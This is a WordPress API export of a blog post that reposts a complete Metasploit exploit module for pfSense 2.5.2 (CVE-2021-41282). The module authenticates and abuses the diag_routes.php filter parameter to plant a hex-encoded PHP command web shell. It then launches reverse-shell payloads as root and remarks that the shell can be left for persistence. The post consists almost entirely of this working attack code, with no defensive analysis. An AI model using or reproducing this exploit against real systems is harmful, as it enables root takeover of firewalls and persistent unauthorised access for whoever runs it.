{"id":21232,"date":"2022-03-04T19:28:07","date_gmt":"2022-03-04T16:28:07","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166208\/pfsense_diag_routes_webshell.rb.txt"},"modified":"2022-03-06T11:40:20","modified_gmt":"2022-03-06T08:10:20","slug":"pfsense-2-5-2-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/pfsense-2-5-2-shell-upload\/","title":{"rendered":"pfSense 2.5.2 Shell Upload"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\">include Msf::Exploit::Remote::HttpClient<br \/>\ninclude Msf::Exploit::CmdStager<br \/>\ninclude Msf::Exploit::FileDropper<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;pfSense Diag Routes Web Shell Upload&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis module exploits an arbitrary file creation vulnerability in the pfSense<br \/>\nHTTP interface (CVE-2021-41282). The vulnerability affects versions &lt;= 2.5.2<br \/>\nand can be exploited by an authenticated user if they have the<br \/>\n&#8220;WebCfg &#8211; Diagnostics: Routing tables&#8221; privilege.<\/p>\n<p dir=\"ltr\">This module uses the vulnerability to create a web shell and execute payloads<br \/>\nwith root privileges.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Abdel Adim &#8220;smaury&#8221; Oisfi of Shielder&#8217;, # vulnerability discovery<br \/>\n&#8216;jbaines-r7&#8217; # metasploit module<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[&#8216;CVE&#8217;, &#8216;2021-41282&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/www.shielder.it\/advisories\/pfsense-remote-command-execution\/&#8217;]\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-02-23&#8217;,<br \/>\n&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;bsd&#8217;],<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_X64],<br \/>\n&#8216;Privileged&#8217; =&gt; true,<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Unix Command&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>\n&#8216;Type&#8217; =&gt; :unix_cmd,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/reverse_openssl&#8217;<br \/>\n},<br \/>\n&#8216;Payload&#8217; =&gt; {<br \/>\n&#8216;Append&#8217; =&gt; &#8216; &amp; disown&#8217;<br \/>\n}<br \/>\n}<br \/>\n],<br \/>\n[<br \/>\n&#8216;BSD Dropper&#8217;,<br \/>\n{<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;bsd&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_X64],<br \/>\n&#8216;Type&#8217; =&gt; :bsd_dropper,<br \/>\n&#8216;CmdStagerFlavor&#8217; =&gt; [ &#8216;curl&#8217; ],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;bsd\/x64\/shell_reverse_tcp&#8217;<br \/>\n}<br \/>\n}<br \/>\n]\n],<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 1,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;RPORT&#8217; =&gt; 443,<br \/>\n&#8216;SSL&#8217; =&gt; true<br \/>\n},<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}<br \/>\n)<br \/>\n)<br \/>\nregister_options [<br \/>\nOptString.new(&#8216;USERNAME&#8217;, [true, &#8216;Username to authenticate with&#8217;, &#8216;admin&#8217;]),<br \/>\nOptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Password to authenticate with&#8217;, &#8216;pfsense&#8217;]),<br \/>\nOptString.new(&#8216;WEBSHELL_NAME&#8217;, [false, &#8216;The name of the uploaded webshell. This value is random if left unset&#8217;, nil]),<br \/>\nOptBool.new(&#8216;DELETE_WEBSHELL&#8217;, [true, &#8216;Indicates if the webshell should be deleted or not.&#8217;, true])<br \/>\n]\n<p dir=\"ltr\">@webshell_uri = &#8216;\/&#8217;<br \/>\n@webshell_path = &#8216;\/usr\/local\/www\/&#8217;<br \/>\nend<\/p>\n<p dir=\"ltr\"># Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,<br \/>\n# pfsense permissions can be so locked down that we have to try direct exploitation<br \/>\n# in order to determine vulnerability. A user can even be restricted from the<br \/>\n# dashboard (where other pfsense modules extract the version).<br \/>\ndef check<br \/>\n# Grab a CSRF token so that we can log in<br \/>\nres = send_request_cgi(&#8216;method&#8217; =&gt; &#8216;GET&#8217;, &#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/index.php&#8217;))<br \/>\nreturn CheckCode::Unknown(&#8220;Didn&#8217;t receive a response from the target.&#8221;) unless res<br \/>\nreturn CheckCode::Unknown(&#8220;Unexpected HTTP response from index.php: #{res.code}&#8221;) unless res.code == 200<br \/>\nreturn CheckCode::Unknown(&#8216;Could not find pfSense title html tag&#8217;) unless res.body.include?(&#8216;&lt;title&gt;pfSense &#8211; Login&#8217;)<\/p>\n<p dir=\"ltr\">\/var csrfMagicToken = &#8220;(?&lt;csrf&gt;sid:[a-z0-9,;:]+)&#8221;;\/ =~ res.body<br \/>\nreturn CheckCode::Unknown(&#8216;Could not find CSRF token&#8217;) unless csrf<\/p>\n<p dir=\"ltr\"># send the log in attempt<br \/>\nres = send_request_cgi(<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/index.php&#8217;),<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;vars_post&#8217; =&gt; {<br \/>\n&#8216;__csrf_magic&#8217; =&gt; csrf,<br \/>\n&#8216;usernamefld&#8217; =&gt; datastore[&#8216;USERNAME&#8217;],<br \/>\n&#8216;passwordfld&#8217; =&gt; datastore[&#8216;PASSWORD&#8217;],<br \/>\n&#8216;login&#8217; =&gt; &#8221;<br \/>\n}<br \/>\n)<\/p>\n<p dir=\"ltr\">return CheckCode::Detected(&#8216;No response to log in attempt.&#8217;) unless res<br \/>\nreturn CheckCode::Detected(&#8216;Log in failed. User provided invalid credentials.&#8217;) unless res.code == 302<\/p>\n<p dir=\"ltr\"># save the auth cookie for later user<br \/>\n@auth_cookies = res.get_cookies<\/p>\n<p dir=\"ltr\"># attempt the exploit. Upload a random file to \/usr\/local\/www\/ with random contents<br \/>\nfilename = Rex::Text.rand_text_alpha(4..12)<br \/>\ncontents = Rex::Text.rand_text_alpha(16..32)<br \/>\nres = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/diag_routes.php&#8217;),<br \/>\n&#8216;cookie&#8217; =&gt; @auth_cookies,<br \/>\n&#8216;encode_params&#8217; =&gt; false,<br \/>\n&#8216;vars_get&#8217; =&gt; {<br \/>\n&#8216;isAjax&#8217; =&gt; &#8216;1&#8217;,<br \/>\n&#8216;filter&#8217; =&gt; &#8220;.*\/!d;};s\/Destination\/#{contents}\/;w+#{@webshell_path}#{filename}%0a%23&#8221;<br \/>\n}<br \/>\n})<\/p>\n<p dir=\"ltr\">return CheckCode::Safe(&#8216;No response to upload attempt.&#8217;) unless res<br \/>\nreturn CheckCode::Safe(&#8220;Exploit attempt did not receive 200 OK: #{res.code}&#8221;) unless res.code == 200<\/p>\n<p dir=\"ltr\"># Validate the exploit was successful by requesting the uploaded file<br \/>\nres = send_request_cgi({ &#8216;method&#8217; =&gt; &#8216;GET&#8217;, &#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8220;\/#{filename}&#8221;), &#8216;cookie&#8217; =&gt; @auth_cookies })<br \/>\nreturn CheckCode::Safe(&#8216;No response to exploit validation check.&#8217;) unless res<br \/>\nreturn CheckCode::Safe(&#8220;Exploit validation check did not receive 200 OK: #{res.code}&#8221;) unless res.code == 200<\/p>\n<p dir=\"ltr\">register_file_for_cleanup(&#8220;#{@webshell_path}#{filename}&#8221;)<br \/>\nCheckCode::Vulnerable()<br \/>\nend<\/p>\n<p dir=\"ltr\"># Using the path traversal, upload a php webshell to the remote target<br \/>\ndef drop_webshell<br \/>\nwebshell_location = normalize_uri(target_uri.path, &#8220;#{@webshell_uri}#{@webshell_name}&#8221;)<br \/>\nprint_status(&#8220;Uploading webshell to #{webshell_location}&#8221;)<\/p>\n<p dir=\"ltr\"># php_webshell = &#8216;&lt;?php if(isset($_GET[&#8220;cmd&#8221;])) { system($_GET[&#8220;cmd&#8221;]); } ?&gt;&#8217;<br \/>\nphp_shell = &#8216;\\\\x3c\\\\x3fphp+if($_GET[\\\\x22cmd\\\\x22])+\\\\x7b+system($_GET[\\\\x22cmd\\\\x22])\\\\x3b+\\\\x7d+\\\\x3f\\\\x3e&#8217;<\/p>\n<p dir=\"ltr\">res = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/diag_routes.php&#8217;),<br \/>\n&#8216;cookie&#8217; =&gt; @auth_cookies,<br \/>\n&#8216;encode_params&#8217; =&gt; false,<br \/>\n&#8216;vars_get&#8217; =&gt; {<br \/>\n&#8216;isAjax&#8217; =&gt; &#8216;1&#8217;,<br \/>\n&#8216;filter&#8217; =&gt; &#8220;.*\/!d;};s\/Destination\/#{php_shell}\/;w+#{@webshell_path}#{@webshell_name}%0a%23&#8221;<br \/>\n}<br \/>\n})<\/p>\n<p dir=\"ltr\">fail_with(Failure::Disconnected, &#8216;Connection failed&#8217;) unless res<br \/>\nfail_with(Failure::UnexpectedReply, &#8220;Unexpected HTTP status code #{res.code}&#8221;) unless res.code == 200<\/p>\n<p dir=\"ltr\"># Test the web shell installed by echoing a random string and ensure it appears in the res.body<br \/>\nprint_status(&#8216;Testing if web shell installation was successful&#8217;)<br \/>\nrand_data = Rex::Text.rand_text_alphanumeric(16..32)<br \/>\nres = execute_via_webshell(&#8220;echo #{rand_data}&#8221;)<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;Web shell execution did not appear to succeed.&#8217;) unless res.body.include?(rand_data)<br \/>\nprint_good(&#8220;Web shell installed at #{webshell_location}&#8221;)<\/p>\n<p dir=\"ltr\"># This is a great place to leave a web shell for persistence since it doesn&#8217;t require auth<br \/>\n# to touch it. By default, we&#8217;ll clean this up but the attacker has to option to leave it<br \/>\nif datastore[&#8216;DELETE_WEBSHELL&#8217;]\nregister_file_for_cleanup(&#8220;#{@webshell_path}#{@webshell_name}&#8221;)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\"># Executes commands via the uploaded webshell<br \/>\ndef execute_via_webshell(cmd)<br \/>\nif target[&#8216;Type&#8217;] == :bsd_dropper<br \/>\n# the bsd dropper using the reverse shell payload + curl cmdstager doesn&#8217;t have a good<br \/>\n# way to force the payload to background itself (and thus allow the HTTP response to<br \/>\n# to return). So we hack it in ourselves. This identifies the ending file cleanup<br \/>\n# which should be right after executing the payload.<br \/>\ncmd = cmd.sub(&#8216;;rm -f \/tmp\/&#8217;, &#8216; &amp; disown;rm -f \/tmp\/&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">res = send_request_cgi({<br \/>\n&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8220;#{@webshell_uri}#{@webshell_name}&#8221;),<br \/>\n&#8216;vars_get&#8217; =&gt; {<br \/>\n&#8216;cmd&#8217; =&gt; cmd<br \/>\n}<br \/>\n})<\/p>\n<p dir=\"ltr\">fail_with(Failure::Disconnected, &#8216;Connection failed&#8217;) unless res<br \/>\nfail_with(Failure::UnexpectedReply, &#8220;Unexpected HTTP status code #{res.code}&#8221;) unless res.code == 200<br \/>\nres<br \/>\nend<\/p>\n<p dir=\"ltr\">def execute_command(cmd, _opts = {})<br \/>\nexecute_via_webshell(cmd)<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\n# create a randomish web shell name if the user doesn&#8217;t specify one<br \/>\n@webshell_name = datastore[&#8216;WEBSHELL_NAME&#8217;] || &#8220;#{Rex::Text.rand_text_alpha(5..12)}.php&#8221;<\/p>\n<p dir=\"ltr\">drop_webshell<\/p>\n<p dir=\"ltr\">print_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<br \/>\ncase target[&#8216;Type&#8217;]\nwhen :unix_cmd<br \/>\nexecute_command(payload.encoded)<br \/>\nwhen :bsd_dropper<br \/>\nexecute_cmdstager<br \/>\nend<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, &#8216;Name&#8217; =&gt; &#8216;pfSense Diag Routes Web Shell Upload&#8217;, &#8216;Description&#8217; =&gt; %q{ This module exploits an arbitrary file creation vulnerability in the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21232","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21232","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21232"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21232\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21232"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21232"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21232"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}